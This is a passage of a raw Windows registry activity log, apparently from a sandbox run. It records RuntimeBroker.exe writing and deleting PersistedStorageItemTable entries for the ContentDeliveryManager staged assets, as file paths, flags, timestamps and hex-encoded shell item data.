10005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000a25846a72000646233653261306466616364396334336537363336666564626462343665363566393061376532393064346534306661393766323863653832653335663664640000b20009000400efbea25846a7a25846a72e00000000000000000000000000000000000000000000000000763eb300640062003300650032006100300064006600610063006400390063003400330065003700360033003600660065006400620064006200340036006500360035006600390030006100370065003200390030006400340065003400300066006100390037006600320038006300650038003200650033003500660036006400640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000048b409d91000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c64623365326130646661636439633433653736333666656462646234366536356639306137653239306434653430666139376632386365383265333566366464000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000065626673726b67670000000000000000801e2206ab7e4b4c9e6193781a54b55fb3a2ad5323feee1196ecde4765eb3faf801e2206ab7e4b4c9e6193781a54b55fb3a2ad5323feee1196ecde4765eb3fafd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003400310031003300330035003000350034002d0031003900380032003400320030003000340036002d0032003100310038003400390035003700350036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d235c466000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ff0ac6da-cd24-4134 = "\\\\?\\Volume{66C435D2-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\34eae5775c4820b4d0d4c3d803aa87095cb9d06bb56189c1bdeaae773f1c3504" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\02836933-69c0-44db = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\299ef60c-0e75-4f59 = "\\\\?\\Volume{66C435D2-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\25b2fcee4b577958f2189d2620b00bf863fcac8f67927d11a92adafbe4ec1887" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\299ef60c-0e75-4f59 = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000093bec55cd39cda01a2cff75cd39cda01a2cff75cd39cda01a39600000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000a25833a72000323562326663656534623537373935386632313839643236323062303062663836336663616338663637393237643131613932616461666265346563313838370000b20009000400efbea25833a7a25833a72e00000000000000000000000000000000000000000000000000382bbf00320035006200320066006300650065003400620035003700370039003500380066003200310038003900640032003600320030006200300030006200660038003600330066006300610063003800660036003700390032003700640031003100610039003200610064006100660062006500340065006300310038003800370000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000048b409d91000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c32356232666365653462353737393538663231383964323632306230306266383633666361633866363739323764313161393261646166626534656331383837000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000065626673726b67670000000000000000801e2206ab7e4b4c9e6193781a54b55f9ea2ad5323feee1196ecde4765eb3faf801e2206ab7e4b4c9e6193781a54b55f9ea2ad5323feee1196ecde4765eb3fafd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003400310031003300330035003000350034002d0031003900380032003400320030003000340036002d0032003100310038003400390035003700350036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d235c466000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\673e9306-ef80-41b1 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e7eb6bcd-0393-43c9 = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0dba2132-0a63-441d = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000047df4e71d39cda018829ba71d39cda018829ba71d39cda01619206000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000a25846a72000366332653934636136653565313632336632366236656430393433663566643364613764356161343437303330303366353164656366386133373734393761620000b20009000400efbea25846a7a25846a72e00000000000000000000000000000000000000000000000000f4dcb000360063003200650039003400630061003600650035006500310036003200330066003200360062003600650064003000390034003300660035006600640033006400610037006400350061006100340034003700300033003000300033006600350031006400650063006600380061003300370037003400390037006100620000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000048b409d91000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c36633265393463613665356531363233663236623665643039343366356664336461376435616134343730333030336635316465636638613337373439376162000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000065626673726b67670000000000000000801e2206ab7e4b4c9e6193781a54b55fb6a2ad5323feee1196ecde4765eb3faf801e2206ab7e4b4c9e6193781a54b55fb6a2ad5323feee1196ecde4765eb3fafd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003400310031003300330035003000350034002d0031003900380032003400320030003000340036002d0032003100310038003400390035003700350036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d235c466000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\765653c9-22b1-48ba = "\\\\?\\Volume{66C435D2-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\b0e76b8209b71390d5e6b6b393dced2427aef3e0082203d6e0f49cbac7393c3d" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e7eb6bcd-0393-43c9 = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ff0ac6da-cd24-4134 = dc81b671d39cda01 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0dba2132-0a63-441d = "0" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a86d3c-9229-47f6 = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a86d3c-9229-47f6 = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000076bcea70d39cda0176bcea70d39cda0176bcea70d39cda01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000a25846a72000333465616535373735633438323062346430643463336438303361613837303935636239643036626235363138396331626465616165373733663163333530340000b20009000400efbea25846a7a25846a72e000000000000000000000000000000000000000000000000008a8dc100330034006500610065003500370037003500630034003800320030006200340064003000640034006300330064003800300033006100610038003700300039003500630062003900640030003600620062003500360031003800390063003100620064006500610061006500370037003300660031006300330035003000340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000048b409d91000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c33346561653537373563343832306234643064346333643830336161383730393563623964303662623536313839633162646561616537373366316333353034000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000065626673726b67670000000000000000801e2206ab7e4b4c9e6193781a54b55faba2ad5323feee1196ecde4765eb3faf801e2206ab7e4b4c9e6193781a54b55faba2ad5323feee1196ecde4765eb3fafd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003400310031003300330035003000350034002d0031003900380032003400320030003000340036002d0032003100310038003400390035003700350036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d235c466000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\27167702-e37d-442f = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\01c7aba1-282c-4a28 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\01c7aba1-282c-4a28 = "0" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e5cb3157-d157-4d15 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\299ef60c-0e75-4f59 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\01c7aba1-282c-4a28 = "\\\\?\\Volume{66C435D2-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\db3e2a0dfacd9c43e7636fedbdb46e65f90a7e290d4e40fa97f28ce82e35f6dd" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a86d3c-9229-47f6 = 8d02ee70d39cda01 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c9562833-6967-4504 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\765653c9-22b1-48ba = 97878b71d39cda01 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\02836933-69c0-44db RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e5cb3157-d157-4d15 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a86d3c-9229-47f6 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\90799b8d-6cb4-4905 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e5cb3157-d157-4d15 = "8324" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\299ef60c-0e75-4f59 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\673e9306-ef80-41b1 = "0" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\765653c9-22b1-48ba = "0" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ff0ac6da-cd24-4134 = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\299ef60c-0e75-4f59 = 3b91145dd39cda01 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\299ef60c-0e75-4f59 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a86d3c-9229-47f6 = "\\\\?\\Volume{66C435D2-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\34eae5775c4820b4d0d4c3d803aa87095cb9d06bb56189c1bdeaae773f1c3504" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c9562833-6967-4504 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\765653c9-22b1-48ba = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ff0ac6da-cd24-4134 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000c51b4a71d39cda017ec89871d39cda017ec89871d39cda01aea008000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000a25846a72000333465616535373735633438323062346430643463336438303361613837303935636239643036626235363138396331626465616165373733663163333530340000b20009000400efbea25846a7a25846a72e000000000000000000000000000000000000000000000000008a8dc100330034006500610065003500370037003500630034003800320030006200340064003000640034006300330064003800300033006100610038003700300039003500630062003900640030003600620062003500360031003800390063003100620064006500610061006500370037003300660031006300330035003000340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000048b409d91000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c33346561653537373563343832306234643064346333643830336161383730393563623964303662623536313839633162646561616537373366316333353034000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000065626673726b67670000000000000000801e2206ab7e4b4c9e6193781a54b55fb4a2ad5323feee1196ecde4765eb3faf801e2206ab7e4b4c9e6193781a54b55fb4a2ad5323feee1196ecde4765eb3fafd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003400310031003300330035003000350034002d0031003900380032003400320030003000340036002d0032003100310038003400390035003700350036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d235c466000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local 